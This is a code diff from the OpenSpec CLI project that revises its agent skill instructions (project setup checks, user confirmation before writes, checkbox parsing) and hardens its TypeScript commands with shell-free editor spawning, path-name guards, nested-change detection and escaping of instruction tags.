+- **Auto-selected**: you chose this workflow yourself, without the user naming OpenSpec, naming this skill, or running its slash command. Stop using OpenSpec and answer the request normally, as you would with no OpenSpec installed. Do not ask them to set anything up and do not mention OpenSpec setup.
+- **Explicit OpenSpec request**: the user named OpenSpec, named this skill, or ran its slash command. Stop before writing and ask how to proceed: set this project up (`openspec init`), target a store they already have (`--store <id>`), or continue without OpenSpec for this request. Wait for their answer.
+
+In both branches, never create the root as a side effect: do not run `openspec init` until the user asks for it, do not hand-create `openspec/` files, and do not let a command create it.
+
 `<capability-path>` is the spec directory relative to `specs/` (for example, `user-auth` or `identity/user-auth`). Preserve the full path from each delta spec when resolving its main spec.
 
 **Input**: Optionally specify a change name. If omitted, check if it can be inferred from conversation context. If vague or ambiguous you MUST prompt for available changes.
@@ -95,6 +106,13 @@ This is an **agent-driven** operation - you will read delta specs and directly e
 
    b. **Read the main spec** at `<planningHome.root>/openspec/specs/<capability-path>/spec.md` (may not exist yet)
 
+      **If it does not exist yet** (a new capability), match what `openspec archive` does:
+      only ADDED requirements may be applied - step d creates the spec from them.
+      MODIFIED and RENAMED have no requirement to act on, so stop the sync for that
+      capability and report that its main spec does not exist and only ADDED is allowed
+      for a new spec; never invent the missing requirement. REMOVED has nothing to
+      remove - skip it and warn.
+
    c. **Apply changes intelligently**:
 
       **ADDED Requirements:**
@@ -142,6 +160,14 @@ This is an **agent-driven** operation - you will read delta specs and directly e
         (this is what `openspec archive` does; it warns and moves on)
 
    d. **Create new main spec** if capability doesn't exist yet:
+      - Only when the delta has ADDED requirements to put in it and no MODIFIED or
+        RENAMED requirements blocked this capability in step b. Otherwise create nothing
+        and leave the specs directory untouched. For a REMOVED-only delta, if the change's
+        `.openspec.yaml` declares `retire_capabilities: true`, report it as already retired
+        and continue without recreating the spec. Without that marker, report the sync as blocked:
+        `openspec archive` rejects it with `Spec must have at least one requirement`.
+        An empty delta has no operations to sync; report it as blocked too.
+        Never write an empty `## Requirements` section.
       - Create `<planningHome.root>/openspec/specs/<capability-path>/spec.md`
       - Add Purpose section: copy the delta's `## Purpose` body verbatim when it has one
         (this is what `openspec archive` does); only write a brief TBD placeholder when it does not
@@ -166,6 +192,8 @@ This is an **agent-driven** operation - you will read delta specs and directly e
 **Delta Spec Format Reference**
 
 ```markdown
+# Spec Delta
+
 ## Purpose
 
 Only on a delta that introduces a brand-new capability. Seeds the new main spec.

skills/openspec-update-change/SKILL.md

@@ -1,6 +1,6 @@
 ---
 name: openspec-update-change
-description: Update an OpenSpec change by revising its existing planning artifacts and keeping them coherent with one another. Use when the user wants to revise a change's plan, fold new decisions into it, or reconcile its artifacts after an edit. Never edits code.
+description: Update an OpenSpec change by revising its existing planning artifacts and keeping them coherent with one another. Use when the user wants to revise a change's plan, fold new decisions into it, or reconcile its artifacts after an edit. Also use when the user says "openspec update change" or "opsx update". If the user means the openspec update CLI command, which refreshes generated files, run that command instead. Never edits code.
 allowed-tools: Bash(openspec:*)
 license: MIT
 compatibility: Requires openspec CLI.
@@ -13,9 +13,20 @@ Revise a change's existing planning artifacts and keep them coherent. Never edit
 
 **Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `schemas`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root.
 
+**Project check:** These steps expect a project that already uses OpenSpec. Before the first step that writes anything (`new change`, `archive`, `sync specs`, or authoring an artifact file), confirm the project has a root: run `openspec list --json` (with `--store <id>` when a store is selected, since the store is then the root) and read `root`. A root object means the project is set up. `"root": null` means it is not - there is no `openspec/` directory here, and a write such as `openspec new change` would create one as a side effect. The command also exits non-zero, which is that answer rather than a broken CLI, so read the JSON instead of retrying or working around it.
+
+One `"root": null` is not about setup: when a `status` error message starts with `Declared in` or `Invalid store declaration in` and names this project's `openspec/config.yaml` (or `config.yml`), the project does use OpenSpec through a store it declares, which this machine cannot resolve (the store is not registered, or the `store:` line is malformed). Do not treat it as uninitialized and skip the branches below: stop before writing and show the user that error's `message` and `fix`.
+
+Otherwise, with no root, what happens next depends on how this workflow was reached:
+
+- **Auto-selected**: you chose this workflow yourself, without the user naming OpenSpec, naming this skill, or running its slash command. Stop using OpenSpec and answer the request normally, as you would with no OpenSpec installed. Do not ask them to set anything up and do not mention OpenSpec setup.
+- **Explicit OpenSpec request**: the user named OpenSpec, named this skill, or ran its slash command. Stop before writing and ask how to proceed: set this project up (`openspec init`), target a store they already have (`--store <id>`), or continue without OpenSpec for this request. Wait for their answer.
+
+In both branches, never create the root as a side effect: do not run `openspec init` until the user asks for it, do not hand-create `openspec/` files, and do not let a command create it.
+
 **Input**: Optionally specify a change name. If omitted, check if it can be inferred from conversation context. If vague or ambiguous you MUST prompt for available changes.
 
-`/openspec-continue-change` is an optional workflow and may not be installed. Before suggesting it anywhere below, verify that it is available. If it is unavailable, `openspec status --change "<name>" --json` shows the next artifact and `openspec instructions "<artifact-id>" --change "<name>" --json` explains how to create it.
+This workflow revises artifacts that already exist; `/openspec-continue-change` is what creates the ones that do not.
 
 **Steps**
 
@@ -56,13 +67,14 @@ Revise a change's existing planning artifacts and keep them coherent. Never edit
 
 4. **Read and reconcile**
    - Read the artifact(s) the request touches and the change's other existing artifacts.
-   - Apply the requested edit. Then check every other existing artifact against it - in ANY direction: an edit to a later artifact may require revising an earlier one, not only the other way around. Build order is a useful reading order, not a constraint on which artifacts may be revised.
+   - Draft the requested edit in the conversation, not in files. Work out exactly what it changes; step 5 owns every write. Then check every other existing artifact against the drafted edit - in ANY direction: an edit to a later artifact may require revising an earlier one, not only the other way around. Build order is a useful reading order, not a constraint on which artifacts may be revised.
    - Note everything that is now inconsistent, missing, or contradictory.
-   - Revise only files that already exist (`existingOutputPaths`). Do NOT create artifacts that don't exist yet, and do NOT invent new files under a glob artifact - note them and point the user to `/openspec-continue-change` to create them.
-   - If the change is already coherent, say so and make no edits.
+   - Propose revisions only to files that already exist (`existingOutputPaths`). Do NOT create artifacts that don't exist yet, and do NOT invent new files under a glob artifact - note them and point the user to `/openspec-continue-change` to create them.
+   - If the change is already coherent, say so and propose no revisions.
 
 5. **Confirm and apply, one artifact at a time**
-   - Show each proposed revision and why. Write only after the user confirms.
+   - This step performs every artifact write in this workflow; no earlier step edits an artifact.
+   - Show each proposed revision and why - including the requested edit drafted in step 4. Write only after the user confirms.
    - If the user rejects a revision, do not write it - leave that artifact unchanged.
    - When a substantial rewrite is needed, get that artifact's rules and template first:
      ```bash
@@ -87,4 +99,4 @@ After each invocation, show:
 - Edit only the concrete files in `existingOutputPaths`; never write to a glob `resolvedOutputPath`.
 - Do not advance the build frontier: no new artifacts, no new files under glob artifacts - that is `/openspec-continue-change`'s job.
 - Confirm every edit with the user before writing.
-- If the request changes the change's *intent* rather than refining it, first verify whether the optional `/openspec-new-change` workflow is available. If it is, recommend starting fresh with `/openspec-new-change` (the "Update vs. Start Fresh" heuristic). If it is unavailable, ask for a distinct unused change name and recommend `openspec new change "<new-change-name>"` instead.
+- If the request changes the change's *intent* rather than refining it, recommend starting fresh with `/openspec-new-change` (the "Update vs. Start Fresh" heuristic).

skills/openspec-verify-change/SKILL.md

@@ -1,6 +1,6 @@
 ---
 name: openspec-verify-change
-description: Verify implementation matches change artifacts. Use when the user wants to validate that implementation is complete, correct, and coherent before archiving.
+description: Verify implementation matches OpenSpec change artifacts. Use when the user wants to validate that implementation is complete, correct, and coherent before archiving. Also use when the user says "openspec verify" or "opsx verify".
 allowed-tools: Bash(openspec:*)
 license: MIT
 compatibility: Requires openspec CLI.
@@ -13,6 +13,17 @@ Verify that an implementation matches the change artifacts (specs, tasks, design
 
 **Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `schemas`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root.
 
+**Project check:** These steps expect a project that already uses OpenSpec. Before the first step that writes anything (`new change`, `archive`, `sync specs`, or authoring an artifact file), confirm the project has a root: run `openspec list --json` (with `--store <id>` when a store is selected, since the store is then the root) and read `root`. A root object means the project is set up. `"root": null` means it is not - there is no `openspec/` directory here, and a write such as `openspec new change` would create one as a side effect. The command also exits non-zero, which is that answer rather than a broken CLI, so read the JSON instead of retrying or working around it.
+
+One `"root": null` is not about setup: when a `status` error message starts with `Declared in` or `Invalid store declaration in` and names this project's `openspec/config.yaml` (or `config.yml`), the project does use OpenSpec through a store it declares, which this machine cannot resolve (the store is not registered, or the `store:` line is malformed). Do not treat it as uninitialized and skip the branches below: stop before writing and show the user that error's `message` and `fix`.
+
+Otherwise, with no root, what happens next depends on how this workflow was reached:
+
+- **Auto-selected**: you chose this workflow yourself, without the user naming OpenSpec, naming this skill, or running its slash command. Stop using OpenSpec and answer the request normally, as you would with no OpenSpec installed. Do not ask them to set anything up and do not mention OpenSpec setup.
+- **Explicit OpenSpec request**: the user named OpenSpec, named this skill, or ran its slash command. Stop before writing and ask how to proceed: set this project up (`openspec init`), target a store they already have (`--store <id>`), or continue without OpenSpec for this request. Wait for their answer.
+
+In both branches, never create the root as a side effect: do not run `openspec init` until the user asks for it, do not hand-create `openspec/` files, and do not let a command create it.
+
 **Input**: Optionally specify a change name. If omitted, check if it can be inferred from conversation context. If vague or ambiguous you MUST prompt for available changes.
 
 **Steps**
@@ -60,7 +71,9 @@ Verify that an implementation matches the change artifacts (specs, tasks, design
 
    **Task Completion**:
    - If `contextFiles.tasks` exists, read every file path in it
-   - Parse checkboxes: `- [ ]` (incomplete) vs `- [x]` (complete)
+   - Parse checkboxes: complete means the box holds only `x`/`X`, ignoring
+     spacing (`- [ x]` is complete); every other marker is incomplete
+     (`- [ ]`, `- []`, and unfamiliar ones such as `- [~]` or `- [-]`)
    - Count complete vs total tasks
    - If incomplete tasks exist:
      - Add CRITICAL issue for each incomplete task

src/commands/change.ts

@@ -9,6 +9,10 @@ import { Change, Delta } from '../core/schemas/index.js';
 import type { RootOutput } from '../core/root-selection.js';
 import { isInteractive } from '../utils/interactive.js';
 import { getActiveChangeIds } from '../utils/item-discovery.js';
+import {
+  describeNestedChange,
+  findNestedChangesIn,
+} from '../utils/nested-change.js';
 import { getTaskProgressForChange } from '../utils/task-progress.js';
 import { FileSystemUtils } from '../utils/file-system.js';
 import { discoverSpecFiles } from '../utils/spec-discovery.js';
@@ -133,6 +137,13 @@ export class ChangeCommand {
         .then((stats) => stats.isDirectory())
         .catch(() => false);
       if (isChangeDirectory) {
+        // A folder holding nested change directories has no proposal of its
+        // own and never will; pointing at `status --change` would send the
+        // user down a second dead end (#1846).
+        const nested = await findNestedChangesIn(changesPath, changeName);
+        if (nested) {
+          throw new Error(describeNestedChange(nested));
+        }
         throw new Error(
           `Change "${changeName}" has no proposal.md yet. ` +
             `Run "openspec status --change ${changeName}" to see which artifact comes next.`
@@ -562,7 +573,10 @@ export class ChangeCommand {
 
   private extractTitle(content: string, changeName: string): string {
     const match = content.match(/^#\s+(?:Change:\s+)?(.+)$/im);
-    return match ? match[1].trim() : changeName;
+    const title = match?.[1].trim();
+    // The packaged template opens every proposal with a bare `# Proposal`,
+    // which names the document rather than the change.
+    return title && title.toLowerCase() !== 'proposal' ? title : changeName;
   }
 
   private printNextSteps(issues: Array<{ message: string }> = []): void {

src/commands/config.ts

@@ -1,10 +1,13 @@
 import { Command } from 'commander';
-import { spawn } from 'node:child_process';
+import type { ChildProcess, spawn as nodeSpawn } from 'node:child_process';
 import * as fs from 'node:fs';
+import { createRequire } from 'node:module';
 import * as path from 'node:path';
 import {
   getGlobalConfigPath,
   getGlobalConfig,
+  isConfigRootObject,
+  isGlobalConfigUnreadable,
   saveGlobalConfig,
   GlobalConfig,
 } from '../core/global-config.js';
@@ -26,8 +29,144 @@ import { hasProjectConfigDrift } from '../core/profile-sync-drift.js';
 import { UpdateCommand } from '../core/update.js';
 import { asErrorMessage, isPromptCancellationError } from './shared-output.js';
 
+type EditorOutcome =
+  | { code: number | null; signal: NodeJS.Signals | null }
+  | { error: Error };
+
+// cross-spawn finds `.cmd` shims such as `code.cmd` on Windows and escapes each
+// argument for cmd.exe; elsewhere it is plain spawn. Loaded lazily so other
+// commands skip its module graph.
+let cachedSpawn: typeof nodeSpawn | undefined;
+function loadSpawn(): typeof nodeSpawn {
+  if (cachedSpawn === undefined) {
+    cachedSpawn = createRequire(import.meta.url)('cross-spawn') as typeof nodeSpawn;
+  }
+  return cachedSpawn;
+}
+
+/**
+ * Splits an EDITOR or VISUAL value into a program and its arguments without
+ * running a shell, so `;`, `|`, `$VAR`, `~` and backticks are plain characters.
+ * Double quotes group words. On POSIX, single quotes group words too and a
+ * backslash escapes the next character (inside double quotes only `"` and `\`).
+ * On Windows a backslash is a path separator and a single quote is a plain
+ * character. Returns null when a quote is left open.
+ */
+export function splitEditorCommand(value: string, platform: NodeJS.Platform = process.platform): string[] | null {
+  const posix = platform !== 'win32';
+  const words: string[] = [];
+  let word = '';
+  let inWord = false;
+  let quote: '"' | "'" | null = null;
+
+  for (let i = 0; i < value.length; i++) {
+    const ch = value[i];
+    if (quote === "'") {
+      if (ch === "'") quote = null;
+      else word += ch;
+      continue;
+    }
+    if (posix && ch === '\\' && i + 1 < value.length) {
+      const next = value[i + 1];
+      if (quote === '"' && next !== '"' && next !== '\\') {
+        word += ch;
+      } else {
+        word += next;
+        i++;
+      }
+      inWord = true;
+      continue;
+    }
+    if (quote === '"') {
+      if (ch === '"') quote = null;
+      else word += ch;
+      continue;
+    }
+    if (ch === '"' || (posix && ch === "'")) {
+      quote = ch;
+      inWord = true;
+      continue;
+    }
+    if (/\s/.test(ch)) {
+      if (inWord) words.push(word);
+      word = '';
+      inWord = false;
+      continue;
+    }
+    word += ch;
+    inWord = true;
+  }
+
+  if (quote) return null;
+  if (inWord) words.push(word);
+  return words;
+}
+
+/**
+ * Starts the user's editor on `filePath`, never through a shell.
+ *
+ * EDITOR and VISUAL hold a command line, not a program name: `code --wait`
+ * and `"/path with spaces/subl" -w` are both ordinary values, so the value is
+ * split into words and the file path is appended as its own argument. A value
+ * that is itself the absolute path of an existing file is run as-is, so an
+ * unquoted editor path with spaces keeps working.
+ */
+function spawnEditor(editor: string, filePath: string): ChildProcess {
+  const words = path.isAbsolute(editor) && fs.existsSync(editor) ? [editor] : splitEditorCommand(editor);
+  if (words === null) {
+    throw new Error('the value has an unterminated quote');
+  }
+  if (words.length === 0) {
+    throw new Error('the value is blank');
+  }
+  const [program, ...args] = words;
+  return loadSpawn()(program, [...args, filePath], { stdio: 'inherit', shell: false });
+}
+
+/** Runs the editor on `filePath` and resolves once it has closed or failed to start. */
+function runEditor(editor: string, filePath: string): Promise<EditorOutcome> {
+  return new Promise((resolve) => {
+    try {
+      const child = spawnEditor(editor, filePath);
+      child.once('error', (error) => resolve({ error }));
+      child.once('close', (code, signal) => resolve({ code, signal }));
+    } catch (error) {
+      resolve({ error: error instanceof Error ? error : new Error(String(error)) });
+    }
+  });
+}
+
+function reportEditorFailure(editor: string, outcome: EditorOutcome): void {
+  if ('error' in outcome) {
+    console.error(`Error: Could not start editor "${editor}": ${outcome.error.message}`);
+  } else if (outcome.signal) {
+    console.error(`Error: Editor "${editor}" was terminated by ${outcome.signal}`);
+  } else {
+    console.error(`Error: Editor "${editor}" exited with code ${outcome.code}`);
+  }
+  // Only a missing program earns the hint: EACCES or EPERM means it exists.
+  if ('error' in outcome && (outcome.error as NodeJS.ErrnoException).code === 'ENOENT') {
+    console.error('Set EDITOR or VISUAL to an installed editor command, for example: export EDITOR="code --wait"');
+  }
+}
+
 type ProfileAction = 'both' | 'delivery' | 'workflows' | 'keep';
 
+/**
+ * A config file that exists but cannot be parsed is still the user's file:
+ * getGlobalConfig() reads it as defaults, and saving those back would erase
+ * every setting in it. Reports the fix instead, and returns true when it did.
+ */
+function refuseUnreadableConfig(): boolean {
+  if (!isGlobalConfigUnreadable()) {
+    return false;
+  }
+  console.error(`Error: ${getGlobalConfigPath()} could not be parsed, so it was left unchanged.`);
+  console.error('Fix it with "openspec config edit", or reset it with "openspec config reset --all".');
+  process.exitCode = 1;
+  return true;
+}
+
 interface ProfileState {
   profile: Profile;
   delivery: Delivery;
@@ -248,7 +387,12 @@ export function registerConfigCommand(program: Command): void {
         let rawConfig: Record<string, unknown> = {};
         try {
           if (fs.existsSync(configPath)) {
-            rawConfig = JSON.parse(fs.readFileSync(configPath, 'utf-8'));
+            const parsed: unknown = JSON.parse(fs.readFileSync(configPath, 'utf-8'));
+            // A non-object root holds no explicit settings, and reading a key
+            // off `null` would crash this read-only command.
+            if (isConfigRootObject(parsed)) {
+              rawConfig = parsed as Record<string, unknown>;
+            }
           }
         } catch {
           // If reading fails, treat all as defaults
@@ -314,6 +458,10 @@ export function registerConfigCommand(program: Command): void {
         return;
       }
 
+      if (refuseUnreadableConfig()) {
+        return;
+      }
+
       const config = getGlobalConfig() as Record<string, unknown>;
       const coercedValue = coerceValue(value, options.string || false);
 
@@ -343,6 +491,10 @@ export function registerConfigCommand(program: Command): void {
     .command('unset <key>')
     .description('Remove a key (revert to default)')
     .action((key: string) => {
+      if (refuseUnreadableConfig()) {
+        return;
+      }
+
       const config = getGlobalConfig() as Record<string, unknown>;
       const existed = deleteNestedValue(config, key);
 
@@ -391,7 +543,8 @@ export function registerConfigCommand(program: Command): void {
         }
       }
 
-      saveGlobalConfig({ ...DEFAULT_CONFIG });
+      // A reset is the one write meant to replace a file that cannot be parsed.
+      saveGlobalConfig({ ...DEFAULT_CONFIG }, { replaceUnreadable: true });
       console.log('Configuration reset to defaults');
     });
 
@@ -417,24 +570,13 @@ export function registerConfigCommand(program: Command): void {
         saveGlobalConfig({ ...DEFAULT_CONFIG });
       }
 
-      // Spawn editor and wait for it to close
-      // Avoid shell parsing to correctly handle paths with spaces in both
-      // the editor path and config path
-      const child = spawn(editor, [configPath], {
-        stdio: 'inherit',
-        shell: false,
-      });
-
-      await new Promise<void>((resolve, reject) => {
-        child.on('close', (code) => {
-          if (code === 0) {
-            resolve();
-          } else {
-            reject(new Error(`Editor exited with code ${code}`));
-          }
-        });
-        child.on('error', reject);
-      });
+      // Wait for the editor to close; a failure is reported, never thrown.
+      const outcome = await runEditor(editor, configPath);
+      if ('error' in outcome || outcome.code !== 0) {
+        reportEditorFailure(editor, outcome);
+        process.exitCode = 1;
+        return;
+      }
 
       try {
         const rawConfig = fs.readFileSync(configPath, 'utf-8');
@@ -463,6 +605,10 @@ export function registerConfigCommand(program: Command): void {
     .command('profile [preset]')
     .description('Configure workflow profile (interactive picker or preset shortcut)')
     .action(async (preset?: string) => {
+      if (refuseUnreadableConfig()) {
+        return;
+      }
+
       // Preset shortcut: `openspec config profile core`
       if (preset === 'core') {
         const config = getGlobalConfig();

src/commands/feedback.ts

@@ -1,4 +1,4 @@
-import { execSync, execFileSync } from 'child_process';
+import { execFileSync } from 'child_process';
 import { createRequire } from 'module';
 import os from 'os';
 
@@ -12,8 +12,10 @@ const TITLE_PREFIX = 'Feedback: ';
  */
 function isGhInstalled(): boolean {
   try {
-    const command = process.platform === 'win32' ? 'where gh' : 'which gh';
-    execSync(command, { stdio: 'pipe' });
+    // execFileSync, not execSync: no shell is needed to look a binary up, and
+    // spawning one next to free-form issue text is the shape a future refactor
+    // most easily turns into command injection.
+    execFileSync(process.platform === 'win32' ? 'where' : 'which', ['gh'], { stdio: 'pipe' });
     return true;
   } catch {
     return false;
@@ -25,7 +27,7 @@ function isGhInstalled(): boolean {
  */
 function isGhAuthenticated(): boolean {
   try {
-    execSync('gh auth status', { stdio: 'pipe' });
+    execFileSync('gh', ['auth', 'status'], { stdio: 'pipe' });
     return true;
   } catch {
     return false;

src/commands/schema.ts

@@ -12,7 +12,11 @@ import {
   isSchemaDir,
   listSchemas,
 } from '../core/artifact-graph/resolver.js';
-import { parseSchema, SchemaValidationError } from '../core/artifact-graph/schema.js';
+import {
+  findApplyTracksWarning,
+  parseSchema,
+  SchemaValidationError,
+} from '../core/artifact-graph/schema.js';
 import type { SchemaYaml, Artifact } from '../core/artifact-graph/types.js';
 import { resolveConfigFilePath } from '../core/project-config.js';
 import { FileSystemUtils } from '../utils/file-system.js';
@@ -227,13 +231,20 @@ function validateSchema(
     }
   }
 
-  // Dependency graph validation is already done by parseSchema
-  // (it throws on cycles and invalid references)
+  // Dependency graph validation is already done by parseSchema (it throws on
+  // cycles, invalid references, and an unknown apply.requires id)
   if (verbose) {
     console.log('  Dependency graph validation passed (via parseSchema)');
   }
 
-  return { valid: issues.length === 0, issues };
+  // An apply.tracks value that matches no generates value exactly still loads
+  // (apply reads the path as written), so it is a warning, not an error.
+  const tracksWarning = findApplyTracksWarning(schema);
+  if (tracksWarning) {
+    issues.push({ level: 'warning', path: 'apply.tracks', message: tracksWarning });
+  }
+
+  return { valid: !issues.some((issue) => issue.level === 'error'), issues };
 }
 
 /**
@@ -740,6 +751,9 @@ export function registerSchemaCommand(program: Command): void {
         } else {
           if (result.valid) {
             console.log(`✓ Schema '${name}' is valid`);
+            for (const issue of result.issues) {
+              console.log(`  ${issue.level}: ${issue.message}`);
+            }
           } else {
             console.log(`✗ Schema '${name}' has errors:`);
             for (const issue of result.issues) {
@@ -1408,11 +1422,17 @@ export function registerSchemaCommand(program: Command): void {
 
 /**
  * Create default template content for an artifact.
+ *
+ * Every template opens with a top-level heading so the artifact it produces is
+ * a well-formed markdown document rather than a file whose first line is a
+ * section header (markdownlint MD041, #1138).
  */
 function createDefaultTemplate(artifactId: string): string {
   switch (artifactId) {
     case 'proposal':
-      return `## Why
+      return `# Proposal
+
+## Why
 
 <!-- Describe the motivation for this change -->
 
@@ -1434,7 +1454,9 @@ function createDefaultTemplate(artifactId: string): string {
 `;
 
     case 'specs':
-      return `## ADDED Requirements
+      return `# Spec Delta
+
+## ADDED Requirements
 
 ### Requirement: Example requirement
 
@@ -1446,7 +1468,9 @@ Description of the requirement.
 `;
 
     case 'design':
-      return `## Context
+      return `# Design
+
+## Context
 
 <!-- Background and context -->
 
@@ -1473,7 +1497,9 @@ Description and rationale.
 `;
 
     case 'tasks':
-      return `## Implementation Tasks
+      return `# Tasks
+
+## Implementation Tasks
 
 - [ ] Task 1
 - [ ] Task 2
@@ -1481,7 +1507,7 @@ Description and rationale.
 `;
 
     default:
-      return `## ${artifactId}
+      return `# ${artifactId}
 
 <!-- Add content here -->
 `;

src/commands/store.ts

@@ -294,9 +294,12 @@ async function resolveSetupInput(
 
 async function prepareSetupInput(
   input: ResolvedStoreSetupInput,
-  _options: StoreSetupOptions
+  options: StoreSetupOptions
 ) {
-  return prepareStoreSetup(input);
+  return prepareStoreSetup({
+    ...input,
+    ...(options.initGit !== undefined ? { initGit: options.initGit } : {}),
+  });
 }
 
 async function confirmSetup(

src/commands/validate.ts

@@ -1,6 +1,12 @@
 import ora from 'ora';
 import path from 'path';
+import {
+  describeNestedChange,
+  findNestedChangesIn,
+  NESTED_CHANGE_ISSUE_MARKER,
+} from '../utils/nested-change.js';
 import { Validator } from '../core/validation/validator.js';
+import type { ValidationIssue } from '../core/validation/types.js';
 import { VALIDATION_MESSAGES } from '../core/validation/constants.js';
 import {
   resolveRootForCommand,
@@ -16,6 +22,7 @@ import { nearestMatches } from '../utils/match.js';
 import { promises as fs } from 'fs';
 import { getTaskProgressDetailForChange, type SchemaGlobCache } from '../utils/task-progress.js';
 import { FileSystemUtils } from '../utils/file-system.js';
+import { folderStyleNameProblem } from '../core/id.js';
 
 type ItemType = 'change' | 'spec';
 
@@ -270,11 +277,63 @@ export class ValidateCommand {
     await this.validateByType(root, type, itemName, opts);
   }
 
+  /**
+   * A namespace folder wrapping nested change directories has no deltas of its
+   * own and never will. The usual "add a delta spec" error points the author at
+   * a directory that is not the change, so the nesting is reported instead
+   * (#1846). Returns undefined for every ordinary change.
+   */
+  private async nestedChangeReport(
+    root: ResolvedOpenSpecRoot,
+    id: string
+  ): Promise<{ valid: false; issues: ValidationIssue[] } | undefined> {
+    const nested = await findNestedChangesIn(root.changesDir, id);
+    if (!nested) return undefined;
+    return {
+      valid: false,
+      issues: [{ level: 'ERROR', path: 'file', message: describeNestedChange(nested) }],
+    };
+  }
+
   private async validateByType(root: ResolvedOpenSpecRoot, type: ItemType, id: string, opts: { strict: boolean; json: boolean }): Promise<void> {
+    // `--type` skips the membership check above, so the name still has to be
+    // guarded before it is joined onto a directory. `show` already rejects a
+    // traversing id.
+    //
+    // Spec ids are nested (`specs/<area>/<capability>/spec.md`, #1353), so the
+    // guard runs per segment - rejecting the whole id for containing a `/`
+    // would break every nested capability, including the hint that
+    // `validate --specs` prints. Change names are flat, so they keep the
+    // whole-value check.
+    const nameProblem =
+      type === 'change'
+        ? folderStyleNameProblem(id, 'Change name')
+        : (id.split('/').map((segment) => folderStyleNameProblem(segment, 'Spec id')).find(Boolean) ?? null);
+    if (nameProblem) {
+      if (opts.json) {
+        console.log(
+          JSON.stringify(
+            { status: [{ severity: 'error', code: 'invalid_item', message: nameProblem }] },
+            null,
+            2
+          )
+        );
+      } else {
+        console.error(nameProblem);
+      }
+      process.exitCode = 1;
+      return;
+    }
     const validator = new Validator(opts.strict);
     if (type === 'change') {
       const changeDir = path.join(root.changesDir, id);
       const start = Date.now();
+      const nestedReport = await this.nestedChangeReport(root, id);
+      if (nestedReport) {
+        this.printReport('change', id, nestedReport, Date.now() - start, opts.json, root);
+        process.exitCode = 1;
+        return;
+      }
       const report = await validator.validateChangeDeltaSpecs(changeDir, {
         mainSpecsDir: root.specsDir,
         projectRoot: root.path,
@@ -325,7 +384,13 @@ export class ValidateCommand {
     const invalidMarkerIssue = issues.some(i =>
       i.message.includes(VALIDATION_MESSAGES.CHANGE_SKIP_SPECS_INVALID_METADATA)
     );
-    if (type === 'change' && conflictIssue) {
+    // A namespace folder has no deltas to author, so the delta-authoring
+    // bullets below would point at a directory that is not the change (#1846).
+    const nestedIssue = issues.some(i => i.message.includes(NESTED_CHANGE_ISSUE_MARKER));
+    if (type === 'change' && nestedIssue) {
+      bullets.push('- Move each nested change directly under openspec/changes/, folding the namespace into its name');
+      bullets.push('- Only specs may be nested by domain; change directories are always flat');
+    } else if (type === 'change' && conflictIssue) {
       bullets.push('- This change declares skip_specs (no spec deltas): delete the files under specs/, or remove skip_specs from .openspec.yaml if requirements do change');
       bullets.push('- skip_specs is only honored when .openspec.yaml is valid change metadata (schema: <name> naming a known schema is required)');
     } else if (type === 'change' && invalidMarkerIssue) {
@@ -392,6 +457,16 @@ export class ValidateCommand {
       queue.push(async () => {
         const start = Date.now();
         const changeDir = path.join(root.changesDir, id);
+        const nestedReport = await this.nestedChangeReport(root, id);
+        if (nestedReport) {
+          return {
+            id,
+            type: 'change' as const,
+            valid: false,
+            issues: nestedReport.issues,
+            durationMs: Date.now() - start,
+          };
+        }
         const report = await validator.validateChangeDeltaSpecs(changeDir, {
           mainSpecsDir: root.specsDir,
           projectRoot: root.path,

src/commands/workflow/instructions.ts

@@ -16,6 +16,8 @@ import {
   resolveArtifactOutputs,
   type ArtifactInstructions,
 } from '../../core/artifact-graph/index.js';
+import { isSpecsArtifactPath } from '../../core/artifact-graph/outputs.js';
+import { findUnreadDeltaFiles } from '../../utils/spec-discovery.js';
 import {
   getChangeDir,
   resolveCurrentPlanningHomeSync,
@@ -30,8 +32,11 @@ import {
 } from '../../core/root-selection.js';
 import {
   assembleReferenceIndex,
+  escapeEnvelopeAttribute,
+  escapeEnvelopeTags,
   renderReferencedStoresBlock,
   renderReferencedStoresSection,
+  sanitizeInline,
   type ReferenceIndexEntry,
 } from '../../core/references.js';
 import { readRegistrySnapshot } from '../../core/store/registry.js';
@@ -48,6 +53,7 @@ import {
   type ArchiveInstructions,
 } from './shared.js';
 import { parseTaskLines, type ParsedTask } from '../../utils/task-progress.js';
+import { METADATA_FILENAME } from '../../utils/change-metadata.js';
 
 // -----------------------------------------------------------------------------
 // Types
@@ -196,8 +202,14 @@ export function printInstructionsText(instructions: ArtifactInstructions, isBloc
     unlocks,
   } = instructions;
 
-  // Opening tag
-  console.log(`<artifact id="${artifactId}" change="${changeName}" schema="${schemaName}">`);
+  // Opening tag. The change name is a directory name read from disk, and the
+  // read path rejects only separators and NUL - a quote in it would otherwise
+  // close the attribute and forge siblings on this tag.
+  console.log(
+    `<artifact id="${escapeEnvelopeAttribute(artifactId)}"` +
+      ` change="${escapeEnvelopeAttribute(changeName)}"` +
+      ` schema="${escapeEnvelopeAttribute(schemaName)}">`
+  );
   console.log();
 
   // Artifacts skipped via skip_specs get no creation directive: emitting the
@@ -224,8 +236,10 @@ export function printInstructionsText(instructions: ArtifactInstructions, isBloc
 
   // Task directive
   console.log('<task>');
-  console.log(`Create the ${artifactId} artifact for change "${changeName}".`);
-  console.log(description);
+  console.log(
+    `Create the ${escapeEnvelopeTags(artifactId)} artifact for change "${escapeEnvelopeTags(changeName)}".`
+  );
+  console.log(escapeEnvelopeTags(description));
   console.log('</task>');
   console.log();
 
